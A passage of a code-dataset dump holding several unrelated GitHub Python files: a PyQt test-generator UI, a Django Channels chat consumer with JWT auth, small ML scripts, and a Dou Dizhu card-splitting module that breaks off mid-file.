self.frame_5.setMaximumSize(QtCore.QSize(600, 300))\n        self.frame_5.setFrameShape(QtWidgets.QFrame.StyledPanel)\n        self.frame_5.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame_5.setObjectName(\"frame_5\")\n        self.verticalLayout_10 = QtWidgets.QVBoxLayout(self.frame_5)\n        self.verticalLayout_10.setObjectName(\"verticalLayout_10\")\n        self.frame_6 = QtWidgets.QFrame(self.frame_5)\n        self.frame_6.setMaximumSize(QtCore.QSize(16777215, 54))\n        self.frame_6.setFrameShape(QtWidgets.QFrame.StyledPanel)\n        self.frame_6.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame_6.setObjectName(\"frame_6\")\n        self.horizontalLayout_7 = QtWidgets.QHBoxLayout(self.frame_6)\n        self.horizontalLayout_7.setObjectName(\"horizontalLayout_7\")\n        self.label_resA = QtWidgets.QLabel(self.frame_6)\n        self.label_resA.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.label_resA.setObjectName(\"label_resA\")\n        self.horizontalLayout_7.addWidget(self.label_resA)\n        self.textEdit_resA = QtWidgets.QTextEdit(self.frame_6)\n        self.textEdit_resA.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.textEdit_resA.setObjectName(\"textEdit_resA\")\n        self.horizontalLayout_7.addWidget(self.textEdit_resA)\n        self.checkBox_resA = QtWidgets.QCheckBox(self.frame_6)\n        self.checkBox_resA.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.checkBox_resA.setObjectName(\"checkBox_resA\")\n        self.horizontalLayout_7.addWidget(self.checkBox_resA)\n        self.verticalLayout_10.addWidget(self.frame_6)\n        self.frame_7 = QtWidgets.QFrame(self.frame_5)\n        self.frame_7.setMaximumSize(QtCore.QSize(16777215, 54))\n        self.frame_7.setFrameShape(QtWidgets.QFrame.StyledPanel)\n        self.frame_7.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame_7.setObjectName(\"frame_7\")\n        self.horizontalLayout_8 = QtWidgets.QHBoxLayout(self.frame_7)\n        self.horizontalLayout_8.setObjectName(\"horizontalLayout_8\")\n        self.label_resB = QtWidgets.QLabel(self.frame_7)\n        self.label_resB.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.label_resB.setObjectName(\"label_resB\")\n        self.horizontalLayout_8.addWidget(self.label_resB)\n        self.textEdit_resB = QtWidgets.QTextEdit(self.frame_7)\n        self.textEdit_resB.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.textEdit_resB.setObjectName(\"textEdit_resB\")\n        self.horizontalLayout_8.addWidget(self.textEdit_resB)\n        self.checkBox_resB = QtWidgets.QCheckBox(self.frame_7)\n        self.checkBox_resB.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.checkBox_resB.setObjectName(\"checkBox_resB\")\n        self.horizontalLayout_8.addWidget(self.checkBox_resB)\n        self.verticalLayout_10.addWidget(self.frame_7)\n        self.label_preguntaError = QtWidgets.QLabel(self.frame_5)\n        self.label_preguntaError.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.label_preguntaError.setText(\"\")\n        self.label_preguntaError.setAlignment(QtCore.Qt.AlignCenter)\n        self.label_preguntaError.setObjectName(\"label_preguntaError\")\n        self.verticalLayout_10.addWidget(self.label_preguntaError)\n        self.frame_8 = QtWidgets.QFrame(self.frame_5)\n        self.frame_8.setFrameShape(QtWidgets.QFrame.StyledPanel)\n        self.frame_8.setFrameShadow(QtWidgets.QFrame.Raised)\n        self.frame_8.setObjectName(\"frame_8\")\n        self.horizontalLayout_9 = QtWidgets.QHBoxLayout(self.frame_8)\n        self.horizontalLayout_9.setObjectName(\"horizontalLayout_9\")\n        self.btn_siguientePregunta = QtWidgets.QPushButton(self.frame_8)\n        sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n        sizePolicy.setHorizontalStretch(0)\n        sizePolicy.setVerticalStretch(0)\n        sizePolicy.setHeightForWidth(self.btn_siguientePregunta.sizePolicy().hasHeightForWidth())\n        self.btn_siguientePregunta.setSizePolicy(sizePolicy)\n        self.btn_siguientePregunta.setMaximumSize(QtCore.QSize(150, 30))\n        self.btn_siguientePregunta.setStyleSheet(\"QPushButton {\\n\"\n                                                 \"    \\n\"\n                                                 \"    color: rgb(255, 255, 255);\\n\"\n                                                 \"    border: 2px solid rgb(52, 59, 72);\\n\"\n                                                 \"    border-radius: 5px;    \\n\"\n                                                 \"    background-color: rgb(52, 59, 72);\\n\"\n                                                 \"}\\n\"\n                                                 \"QPushButton:hover {\\n\"\n                                                 \"    background-color: rgb(57, 65, 80);\\n\"\n                                                 \"    border: 2px solid rgb(61, 70, 86);\\n\"\n                                                 \"}\\n\"\n                                                 \"QPushButton:pressed {    \\n\"\n                                                 \"    background-color: rgb(35, 40, 49);\\n\"\n                                                 \"    border: 2px solid rgb(43, 50, 61);\\n\"\n                                                 \"}\")\n        self.btn_siguientePregunta.setObjectName(\"btn_siguientePregunta\")\n        self.horizontalLayout_9.addWidget(self.btn_siguientePregunta)\n        self.btn_finalizarTest = QtWidgets.QPushButton(self.frame_8)\n        sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Minimum, QtWidgets.QSizePolicy.Fixed)\n        sizePolicy.setHorizontalStretch(0)\n        sizePolicy.setVerticalStretch(0)\n        sizePolicy.setHeightForWidth(self.btn_finalizarTest.sizePolicy().hasHeightForWidth())\n        self.btn_finalizarTest.setSizePolicy(sizePolicy)\n        self.btn_finalizarTest.setMaximumSize(QtCore.QSize(150, 30))\n        self.btn_finalizarTest.setStyleSheet(\"QPushButton {\\n\"\n                                             \"    \\n\"\n                                             \"    color: rgb(255, 255, 255);\\n\"\n                                             \"    border: 2px solid rgb(52, 59, 72);\\n\"\n                                             \"    border-radius: 5px;    \\n\"\n                                             \"    background-color: rgb(52, 59, 72);\\n\"\n                                             \"}\\n\"\n                                             \"QPushButton:hover {\\n\"\n                                             \"    background-color: rgb(57, 65, 80);\\n\"\n                                             \"    border: 2px solid rgb(61, 70, 86);\\n\"\n                                             \"}\\n\"\n                                             \"QPushButton:pressed {    \\n\"\n                                             \"    background-color: rgb(35, 40, 49);\\n\"\n                                             \"    border: 2px solid rgb(43, 50, 61);\\n\"\n                                             \"}\")\n        self.btn_finalizarTest.setObjectName(\"btn_finalizarTest\")\n        self.horizontalLayout_9.addWidget(self.btn_finalizarTest)\n        self.verticalLayout_10.addWidget(self.frame_8)\n        self.horizontalLayout_6.addWidget(self.frame_4)\n        self.pages_test_create.addWidget(self.preguntas_test)\n        self.verticalLayout_8.addWidget(self.pages_test_create)\n        self.pages_widget.addWidget(self.pg_create)\n        self.pg_list = QtWidgets.QWidget()\n        self.pg_list.setObjectName(\"pg_list\")\n        self.verticalLayout_7 = QtWidgets.QVBoxLayout(self.pg_list)\n        self.verticalLayout_7.setContentsMargins(0, 0, 0, 0)\n        self.verticalLayout_7.setSpacing(1)\n        self.verticalLayout_7.setObjectName(\"verticalLayout_7\")\n        self.label_TituloTest_2 = QtWidgets.QLabel(self.pg_list)\n        self.label_TituloTest_2.setMaximumSize(QtCore.QSize(16777215, 30))\n        font = QtGui.QFont()\n        font.setPointSize(20)\n        font.setBold(False)\n        font.setWeight(50)\n        self.label_TituloTest_2.setFont(font)\n        self.label_TituloTest_2.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.label_TituloTest_2.setAlignment(QtCore.Qt.AlignCenter)\n        self.label_TituloTest_2.setObjectName(\"label_TituloTest_2\")\n        self.verticalLayout_7.addWidget(self.label_TituloTest_2)\n        self.listWidgetTests = QtWidgets.QListWidget(self.pg_list)\n        self.listWidgetTests.setStyleSheet(\"color: rgb(255, 255, 255);\")\n        self.listWidgetTests.setObjectName(\"listWidgetTests\")\n        self.verticalLayout_7.addWidget(self.listWidgetTests)\n        self.pages_widget.addWidget(self.pg_list)\n        self.verticalLayout_5.addWidget(self.pages_widget)\n        self.horizontalLayout_2.addWidget(self.frame_pages)\n        self.verticalLayout.addWidget(self.Content)\n        MainWindow.setCentralWidget(self.centralwidget)\n\n        self.retranslateUi(MainWindow)\n        self.pages_widget.setCurrentIndex(2)\n        self.pages_test_create.setCurrentIndex(0)\n        QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n    def retranslateUi(self, MainWindow):\n        _translate = QtCore.QCoreApplication.translate\n        MainWindow.setWindowTitle(_translate(\"MainWindow\", \"MainWindow\"))\n        self.label.setText(_translate(\"MainWindow\", \"EzTests\"))\n        self.label_2.setText(_translate(\"MainWindow\", \"Genera Test de manera sencilla\"))\n        self.label_TituloTest.setText(_translate(\"MainWindow\", \"Titulo\"))\n        self.lineEdit_nombreTest.setPlaceholderText(_translate(\"MainWindow\", \"Nombre del Test\"))\n        self.btn_crearTest.setText(_translate(\"MainWindow\", \"Crear Test\"))\n        self.label_numeroPregunta.setText(_translate(\"MainWindow\", \"Pregunta numero 1\"))\n        self.textEdit_Enunciado.setPlaceholderText(_translate(\"MainWindow\", \"Enunciado de la pregunta\"))\n        self.label_Enunciado.setText(_translate(\"MainWindow\", \"Pregunta:\"))\n        self.label_resA.setText(_translate(\"MainWindow\", \"Respuesta A:\"))\n        self.textEdit_resA.setPlaceholderText(_translate(\"MainWindow\", \"Texto de la respuesta\"))\n        self.checkBox_resA.setText(_translate(\"MainWindow\", \"Correcta?\"))\n        self.label_resB.setText(_translate(\"MainWindow\", \"Respuesta B:\"))\n        self.textEdit_resB.setPlaceholderText(_translate(\"MainWindow\", \"Texto de la respuesta\"))\n        self.checkBox_resB.setText(_translate(\"MainWindow\", \"Correcta?\"))\n        self.btn_siguientePregunta.setText(_translate(\"MainWindow\", \"Siguiente pregunta\"))\n        self.btn_finalizarTest.setText(_translate(\"MainWindow\", \"Finalizar Test\"))\n        self.label_TituloTest_2.setText(_translate(\"MainWindow\", \"Lista de Test\"))\n\n\nfrom images import create_rc\nfrom images import home_rc\nfrom images import menu_rc\nfrom images import testList_rc\n","repo_name":"Jowy43/EzTestGenerator","sub_path":"UI/mainWindow.py","file_name":"mainWindow.py","file_ext":"py","file_size_in_byte":32188,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42205006641","text":"from board_env import SnapyEnv\n\nenv = SnapyEnv()\n\nepisodes = 100\n\nfor episode in range(episodes):\n    done = False\n    obs = env.reset()\n    while True:\n        random_action = env.action_space.sample()\n        print('action',random_action)\n        obs, reward, done, info = env.step(random_action)\n        print('reward', reward)\n","repo_name":"here-and-now/SnaPy","sub_path":"tests/doublecheckenv.py","file_name":"doublecheckenv.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"73814059710","text":"import asyncio\nimport json\nfrom channels.generic.websocket import AsyncWebsocketConsumer\nfrom groupchat.models import Message\nfrom rest_framework_simplejwt.tokens import AccessToken\nfrom channels.db import database_sync_to_async\n\n\nclass GroupChatConsumer(AsyncWebsocketConsumer):\n\n    @database_sync_to_async\n    def save_message(self, group_id, sender_id, data):\n        message = Message.objects.create(\n                        group_id=group_id,\n                        sender_id=sender_id,\n                        content=data\n                    )\n        sender_username=message.sender.username\n        return sender_username\n\n    async def connect(self):\n        path = self.scope['path']\n        parts = path.split('/')\n        self.group_id = parts[1] if len(parts) > 1 else None\n\n        self.group_name = f'group_{self.group_id}'\n        \n        try:\n            # Authenticate the user\n            await self.authenticate()\n\n            # If authentication is successful, accept the WebSocket connection\n            await self.accept()\n            # Join the group\n            await self.channel_layer.group_add(self.group_name, self.channel_name)\n\n            \n        except Exception as e:\n            # If authentication fails, reject the WebSocket connection\n            await self.close()\n            new_message = \"Error message: \" + str(e)\n            raise Exception(new_message) from e\n            \n    async def authenticate(self):\n        try: \n            # Retrieve the JWT token from the WebSocket headers\n            access_token=self.scope['headers'][0][1].split(' ')[1]\n\n            # Decode and validate the JWT token\n            access_token =  AccessToken(access_token)\n\n            # Check if the token is valid and not expired\n            access_token.verify()\n\n            decoded_token = access_token.payload\n            is_admin = decoded_token['is_admin']\n            self.user_id = decoded_token['user_id']\n\n\n            if is_admin:\n                raise Exception(\"You are not authorized to perform this action\")\n        except Exception as e:\n            new_message = \"Error message: \" + str(e)\n            raise Exception(new_message) from e\n\n    async def disconnect(self, close_code):\n        # Leave the group\n        await self.channel_layer.group_discard(self.group_name, self.channel_name)\n\n    async def receive(self, text_data):\n        try:\n            data = json.loads(text_data)\n            message_content = data['content']\n            group_id= self.group_id\n\n            try: \n                sender_username=await self.save_message(group_id,self.user_id,message_content)\n                \n                # Broadcast the message to the group\n                await self.channel_layer.group_send(self.group_name, {\n                    \"type\":\"group_message\",\n                    \"message\":message_content,\n                    \"sender_username\":sender_username\n                })\n                \n            except asyncio.TimeoutError as e:\n                return {\"results\": f\"timeout error on {e}\"}\n            except Exception as e:\n                return {\"results\": f\"error on {e}\"}\n            \n        except Exception as e:\n            print(e)\n\n    async def group_message(self, event):\n        message = event['message']\n        sender_username = event['sender_username']\n\n        # Send the message to the WebSocket\n        await self.send(text_data=json.dumps({\n            'message': message,\n            'sender_username': sender_username\n        }))\n","repo_name":"shraddhaL/RealtimeChatConnect","sub_path":"ChatConnect/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":3525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25231149686","text":"#!/usr/bin/python2\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mlp import MLP\n\ndef esincos(x):\n    return np.exp(x) - x * np.sin(x) * np.cos(x)\n\nif __name__ == \"__main__\":\n    x = np.random.rand(1, 100) * 10\n    #x = np.linspace(0,10,100)\n    y = (np.sin(x) + 1) / 2\n\n    plt.plot(x[0], y[0], \"*r\")\n    plt.show()\n\n   # print x, y\n\n    net = MLP([1, 10, 1])\n    \n    for iter in range(10000):\n        t1 = [net.forward(x.take([i],axis=1))[0][0] for i in range(100)]\n        t = [(net.forward(x.take([i],axis=1)) - y.take([i],axis=1))[0][0] for i in range(100)]\n       # print(t)\n        #print(x[0])\n        #print(t)\n        if(iter % 2000 == 0):\n            plt.plot(x[0], t1, \"g.\")\n            plt.show()\n        error = np.sum(np.abs(t))\n        print(error)\n        for i in range(100):\n            #print \"x.take([i], axis=1)\"\n            #print x.take([i], axis=1)\n            net.calcdiff(x.take([i], axis=1), y.take([i], axis=1) ,1)\n            net.update(0.1, 0.9)\n","repo_name":"daikankan/neural-network","sub_path":"python/test_mlp.py","file_name":"test_mlp.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71058837312","text":"import numpy as np\nimport cv2\n\ncapture = cv2.VideoCapture(0)\ncapture.set(cv2.CAP_PROP_FRAME_WIDTH, 320)\ncapture.set(cv2.CAP_PROP_FRAME_HEIGHT, 240)\n\nwhile True:\n    if cv2.waitKey(10) > 0: \n        break\n\n    ret, frame = capture.read()\n\n    cv2.putText(frame,'test',(0,25), cv2.FONT_HERSHEY_PLAIN,1,(255,255,255))\n    cv2.imshow(\"camera test\", frame)\n\n\n\nimport tensorflow.keras\nimport numpy as np\nimport cv2\n\nmodel_filename ='C:\\\\AISpace\\\\keras_model.h5'\nmodel = tensorflow.keras.models.load_model(model_filename)\n\ncapture = cv2.VideoCapture(0)\ncapture.set(cv2.CAP_PROP_FRAME_WIDTH, 320)\ncapture.set(cv2.CAP_PROP_FRAME_HEIGHT, 240)\n\n\ndef preprocessing(frame):\n    size = (224, 224)\n    frame_resized = cv2.resize(frame, size, interpolation=cv2.INTER_AREA)\n    frame_normalized = (frame_resized.astype(np.float32) / 127.0) - 1\n    frame_reshaped = frame_normalized.reshape((1, 224, 224, 3))\n\n    return frame_reshaped\n\n\ndef predict(frame):\n    prediction = model.predict(frame)\n    return prediction\n\nwhile True:\n    ret, frame = capture.read()\n\n    if cv2.waitKey(100) > 0: \n        break\n\n    preprocessed = preprocessing(frame)\n    prediction = predict(preprocessed)\n\n    if (prediction[0,0] < prediction[0,1]):\n        print('case1')\n        cv2.putText(frame, 'case1', (0, 25), cv2.FONT_HERSHEY_PLAIN, 1, (0, 0, 0))\n    else:\n        cv2.putText(frame, 'case2', (0, 25), cv2.FONT_HERSHEY_PLAIN, 1, (0, 0, 0))\n        print('case2')\n\n    cv2.imshow(\"VideoFrame\", frame)\n    \n","repo_name":"lcm412/Open_source_lab1","sub_path":"src/camera.py","file_name":"camera.py","file_ext":"py","file_size_in_byte":1479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"33205770426","text":"from Dataclasses.layer import Layer\nimport json\nimport torch\nfrom modelparser import ModelParser\nfrom Dataclasses.hyperpar import Hyperparameters\n\nclass MnistModel(torch.nn.Module):\n    def __init__(self,layer_list):\n        super().__init__()\n        self.layer_list = layer_list\n\n    def _activation_mapper(self, act_string):\n\n        if act_string == \"ReLU\":\n            return torch.nn.ReLU()\n        \n        elif act_string == 'Sigmoid':\n            return torch.nn.Sigmoid()\n        \n        else:\n            pass\n\n    def build_model(self):\n        \n        module_list = list()\n\n        for layer_ix, layer in enumerate(self.layer_list):\n            \n            if \"Linear\" in layer.Layer_name:\n                module_list.append(torch.nn.Flatten())\n                intilayer = torch.nn.Linear(layer.Num_inputs, layer.Num_outputs, bias = layer.Bias)\n            if \"Conv\" in layer.Layer_name:\n                intilayer = torch.nn.Conv2d(in_channels = layer.Num_inputs, out_channels = layer.Num_outputs, kernel_size = layer.kernel_size,\n                stride = layer.stride, padding = layer.padding, bias = False)\n            if \"MaxPool2d\" in layer.Layer_name:\n                intilayer = torch.nn.MaxPool2d(kernel_size = layer.kernel_size)\n            \n            module_list.append(intilayer)\n\n            act = self._activation_mapper(layer.Activation)\n            if act != None:\n                module_list.append(act)\n\n            dpt = torch.nn.Dropout2d(layer.dropout) if layer.Dropout else False\n            if dpt:\n                module_list.append(dpt)\n\n        print(module_list)\n        self.pred = torch.nn.Sequential(*module_list)\n\n        return self.pred\n\n\ndef inimodel():\n    try:\n        parser = ModelParser(\"../base_config.json\")\n    except:\n        print('Couldn\\'t import the configartion module')\n\n    layers = parser.get_list()\n    kwargs = parser.get_hp()[0]\n    model = MnistModel(layers)\n    \n    return model.build_model()\n\nif __name__ == '__main__':\n    model = inimodel()\n    print(model[0].weight)","repo_name":"Ruturajrmane/Projects","sub_path":"ML Project Architecture/src/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27195342113","text":"# -*- coding: utf-8 -*-\n\"\"\"\n斗地主拆牌模块\n@author 江胤佐\n\"\"\"\nfrom __future__ import annotations\n\nimport math\nfrom abc import ABCMeta\nfrom collections import defaultdict\nfrom copy import deepcopy\nfrom functools import cmp_to_key\nfrom typing import Optional\n\nfrom duguai.card.cards import *\nfrom duguai.card.cards import card_lt2, card_split\nfrom duguai.card.combo import Combo\n\n\"\"\"顺子/连对/最小的长度\"\"\"\nKIND_TO_MIN_LEN = {1: 5, 2: 3}\nMAX_Q = 10000\n\n\ndef _most_value(x):\n    return np.argmax(np.bincount(x))\n\n\nMAX_VALUE_CMP = cmp_to_key(lambda x, y: max(x) - max(y))\nMOST_VALUE_CMP = cmp_to_key(lambda x, y: _most_value(x) - _most_value(y))\n\n\nclass AbstractDecomposer(metaclass=ABCMeta):\n    \"\"\"\n    拆牌类。该类只负责拆出较好的牌组，不考虑其它玩家手牌的情况。\n    状态（state）表示目前的手牌。\n    动作（action）表示待出的牌。\n    Q值：状态-动作的价值，Q(s, a)值越大，则越要在状态s下采取行动a.\n        q = d(next_state) + len(a)\n    \"\"\"\n\n    @classmethod\n    def decompose_value(cls, card_after: np.ndarray) -> int:\n        \"\"\"\n        获取一副牌的分解值\n        \"\"\"\n        if len(card_after) == 0:\n            return 0\n        card_after = card_lt2(card_after)\n        di, d_value, _ = card_to_suffix_di(card_after)\n\n        # 顺子/连对\n        for t in range(1, 3):\n            max_len = max(len(i) for i in card_split(di[t]))\n            if max_len >= KIND_TO_MIN_LEN[t]:\n                d_value = max(d_value, t * max_len)\n\n        return d_value\n\n    @classmethod\n    def _delta_q(cls, _max_q, _q):\n        return (_max_q - _q) if _max_q - _q < 1000 else (_max_q - MAX_Q + 1 - _q)\n\n    def _calc_q(self, lt2_state: np.ndarray, actions: np.ndarray[np.ndarray]) -> np.ndarray:\n        \"\"\"对每一种状态-动作计算其Q\"\"\"\n        result = []\n        for a in actions:\n\n            reward: int = 0\n            # 拆炸弹的惩罚值，保证在 5 5 5 5 6的情况下拆出炸弹而非三带一\n            for card in a:\n                if np.sum(lt2_state == card) == 4 and len(a) < 4:\n                    reward = -1\n                    break\n\n            next_state: np.ndarray = get_next_state(lt2_state, a)\n            if next_state.size > 0:\n                d_value = self.decompose_value(next_state)\n                result.append(d_value + reward + len(a))\n            else:\n                # 该动作打完就没牌了，故d值为最大值\n                result.append(MAX_Q + reward + len(a))\n        return np.array(result)\n\n    def _eval_actions(self,\n                      func,\n                      lt2_state: np.ndarray,\n                      **kwargs) -> Tuple[np.ndarray, np.ndarray]:\n        actions = np.array(\n            func(lt2_state, kwargs['length']) if 'card_list' not in kwargs.keys() else func(kwargs['card_list'],\n                                                                                            kwargs['kind'],\n                                                                                            kwargs['length']))\n        # q = d(next state) + len(a)\n        # 计算lt2_state下每一个action的q值\n        q_list: np.ndarray = self._calc_q(lt2_state, actions)\n        if len(q_list) == 0:\n            return np.array([], dtype=int), np.array([], dtype=int)\n\n        return actions, q_list\n\n    def _process_card(self, card: np.ndarray):\n\n        # 将手牌分解成不连续的部分\n        self._lt2_cards, eq2_cards, self._ghosts = card_lt2_two_g(card)\n        self._lt2_states: List[np.ndarray] = card_split(self._lt2_cards)\n        self.card2_count: int = len(eq2_cards)\n\n    def _get_all_actions_and_q_lists(self, lt2_state: np.ndarray) -> int:\n        \"\"\"获取一个lt2_state下所有的actions及其对应的q_lists\"\"\"\n\n        di, max_count, max_card_value = card_to_suffix_di(lt2_state)\n\n        # solo pair trio bomb plane other\n        self._actions = [[], [], [], [], [], []]\n        self._q_lists = [np.array([], dtype=int), np.array([], dtype=int), np.array([], dtype=int),\n                         np.array([], dtype=int), np.array([], dtype=int), np.array([], dtype=int)]\n\n        # solo pair trio bomb\n        for i in range(1, 5):\n            self._actions[i - 1], self._q_lists[i - 1] = self._eval_actions(_get_single_actions, lt2_state, length=i)\n\n        # plane\n        for length in range(3, len(di[3]) + 1):\n            seq_actions, seq_q_list = self._eval_actions(_get_seq_actions,\n                                                         lt2_state,\n                                                         card_list=di[3],\n                                                         kind=3,\n                                                         length=length)\n            self._actions[4].extend(seq_actions)\n            self._q_lists[4] = np.concatenate([self._q_lists[4], seq_q_list])\n\n        # 拆出顺子、连对\n        for k, min_len in KIND_TO_MIN_LEN.items():\n            card_list = di[k]\n            for length in range(min_len, len(card_list) + 1):\n                seq_actions, seq_q_list = self._eval_actions(_get_seq_actions,\n                                                             lt2_state,\n                                                             card_list=card_list,\n                                                             kind=k,\n                                                             length=length)\n                self._actions[5].extend(seq_actions)\n                self._q_lists[5] = np.concatenate([self._q_lists[5], seq_q_list])\n\n        max_q = 0\n        for q_list in self._q_lists:\n            if q_list.size:\n                max_q = max(np.max(q_list), max_q)\n        return max_q\n\n\nclass FollowDecomposer(AbstractDecomposer):\n    \"\"\"\n    跟牌拆牌器\n    \"\"\"\n\n    def __init__(self):\n        self._output: Optional[List[np.ndarray]] = None\n\n        # 存放带牌的列表\n        self._take_lists: Optional[Dict[int, List[np.ndarray]]] = None\n\n        # 存放主牌的列表\n        self._main_lists: Optional[Dict[int, List[np.ndarray]]] = None\n\n        # 存放主牌+带牌的列表\n        self._main_take_lists: Optional[Dict[int, List[np.ndarray]]] = None\n\n        # 炸弹列表\n        self._bomb_list: Optional[List[np.ndarray]] = None\n\n        # 仅维护主牌大小\n        self._max_combo: Optional[Combo] = None\n\n        self._last_combo: Optional[Combo] = None\n\n        self._main_kind: Optional[int] = None\n        self._take_kind: Optional[int] = None\n\n    def _add_bomb(self, bomb_list: list) -> None:\n        \"\"\"添加炸弹\"\"\"\n\n        self._bomb_list: List[np.ndarray] = []\n\n        # 添加王炸\n        if len(self._ghosts) == 2:\n            self._bomb_list.append(self._ghosts)\n\n        # 添加4个2炸弹\n        if self.card2_count == 4:\n            self._bomb_list.append(np.array([CARD_2] * 4))\n\n        if self._last_combo.is_bomb():\n            for card in bomb_list:\n                if card > self._last_combo.value:\n                    self._bomb_list.append(np.array([card, card, card, card]))\n        else:\n            for card in bomb_list:\n                self._bomb_list.append(np.array([card, card, card, card]))\n\n    def _add_valid_ghost(self):\n        \"\"\"加入单只王。在此之前先加入2\"\"\"\n\n        if self._ghosts.size:\n            if self._last_combo.is_solo() \\\n                    and self._last_combo.main_kind == 1 and self._last_combo.value < self._ghosts[-1]:\n                self._main_lists[2].append(self._ghosts[-1:])\n                self._max_combo.cards = self._ghosts[-1:]\n            elif self._max_combo.take_kind == 1:\n                self._take_lists[2].append(self._ghosts[-1:])\n\n    def _add_valid_card2(self):\n        \"\"\"加入合法的2，之后再加入王\"\"\"\n        if self.card2_count:\n            if self._last_combo.is_single() \\\n                    and self._last_combo.main_kind <= self.card2_count and self._last_combo.value < CARD_2:\n                self._main_lists[self._max_combo.main_kind].append(np.array([CARD_2] * self._max_combo.main_kind))\n                self._max_combo.cards = [CARD_2] * self._max_combo.main_kind\n            if self._last_combo.take_kind <= self.card2_count:\n                # 2的价值比正常牌+1\n                self._take_lists[self._last_combo.take_kind + 1].append(np.array([CARD_2] * self._last_combo.take_kind))\n\n    def __merge_takes_to_main_seq(self, main_q: int, main_seq: np.ndarray, take_count: int) -> Tuple[int, np.ndarray]:\n        tk = 0\n        main_takes: np.ndarray = np.array(main_seq)\n        total_delta_q = main_q\n\n        # 从小到大遍历_take_lists，保证先合并最佳takes\n        for delta_q, take_list in sorted(self._take_lists.items()):\n            for take in take_list:\n                if take[0] not in main_seq:\n                    tk += 1\n                    total_delta_q += delta_q\n                    main_takes = np.concatenate((main_takes, take))\n                if tk == take_count:\n                    return total_delta_q, main_takes\n        return 0, np.array([])\n\n    def _merge_valid_main_takes(self) -> None:\n        \"\"\"将合法的主牌和带牌拼接起来\"\"\"\n\n        # 非炸弹是3带1单/1对，炸弹是4带2\n        take_count = self._last_combo.seq_len\n        if self._last_combo.main_kind == 4:\n            take_count *= 2\n\n        self._main_take_lists = defaultdict(list)\n\n        for take_list in self._take_lists.values():\n            take_list.sort(key=MAX_VALUE_CMP)\n\n        if self._main_lists:\n\n            # 挑选最佳的main_list，并排序\n            main_q = min(self._main_lists.keys())\n            self._main_lists[main_q].sort(key=MAX_VALUE_CMP)\n\n            for main_seq in self._main_lists[main_q]:\n                total_delta_q, main_takes = self.__merge_takes_to_main_seq(main_q, main_seq, take_count)\n                if main_takes.size > 0:\n                    # 将得到的main_takes根据价值好坏加入相应的列表中\n                    self._main_take_lists[total_delta_q].append(main_takes)\n\n            # 得到最大的main_takes\n            self._max_main_takes = self.__merge_takes_to_main_seq(0, self._max_combo.cards, take_count)[1]\n\n    def _update_main_lists_and_find_max(self, a: np.ndarray, q: int, max_q: int) -> None:\n        \"\"\"在action有效的情况下加入到主列表，并更新最大值\"\"\"\n        main_kind = self._last_combo.main_kind\n        seq_len = self._last_combo.seq_len\n        value = self._last_combo.value\n\n        combo = Combo()\n        combo.cards = a\n        # 筛选符合规则的主牌\n        if combo.value > value and combo.main_kind == main_kind and combo.seq_len == seq_len:\n            self._main_lists[self._delta_q(max_q, q)].append(a)\n            # 仅对比主牌大小，不关心是否带了牌\n            if combo.value > self._max_combo.value:\n                self._max_combo = deepcopy(combo)\n\n    def _best_main_takes(self):\n        if not self._main_take_lists:\n            return 0, []\n        min_delta_q = min(self._main_take_lists.keys())\n        self._main_take_lists[min_delta_q].sort(key=MOST_VALUE_CMP)\n        return min_delta_q, self._main_take_lists[min_delta_q]\n\n    def _append_takes(self, length: int, kind: int, max_q):\n        for a, q in zip(self._actions[kind - 1], self._q_lists[kind - 1]):\n            self._take_lists[self._delta_q(max_q, q)].append(a[:length])\n\n    def _add_valid_lt2_actions(self):\n        for lt2_state in self._lt2_states:\n            if lt2_state.size > 0:\n                max_q: int = super(FollowDecomposer, self)._get_all_actions_and_q_lists(lt2_state)\n\n                # 把单或者对加入_take_lists，对子可以视为2个单加入take列表\n                if self._take_kind == 1:\n                    self._append_takes(1, 1, max_q)\n                    self._append_takes(1, 2, max_q)\n                elif self._take_kind == 2:\n                    self._append_takes(2, 2, max_q)\n\n                for actions, q_list in zip(self._actions, self._q_lists):\n                    for a, q in zip(actions, q_list):\n                        # 将合法的action加入到_main_lists，同时更新最大的main_kind\n                        self._update_main_lists_and_find_max(a, q, max_q)\n\n    def _thieve_valid_actions(self) -> Tuple[int, List[np.ndarray]]:\n        \"\"\"根据last combo的限制，筛选出有效且较好的动作\"\"\"\n\n        self._add_valid_card2()\n        self._add_valid_ghost()\n        self._add_valid_lt2_actions()\n\n        if not self._main_lists:\n            return 0, []\n\n        if self._take_kind:\n            self._merge_valid_main_takes()\n            return self._best_main_takes()\n        else:\n            self._max_main_takes = self._max_combo.cards\n            min_delta_q = min(self._main_lists.keys())\n\n            self._main_lists[min_delta_q].sort(key=MAX_VALUE_CMP)\n            return min_delta_q, self._main_lists[min_delta_q]\n\n    def _init(self, last_combo: Combo):\n        # 初始化，key代表max_q - q，key越小拆得越好，越要优先选择\n        self._take_lists: Dict[int, List[np.ndarray]] = 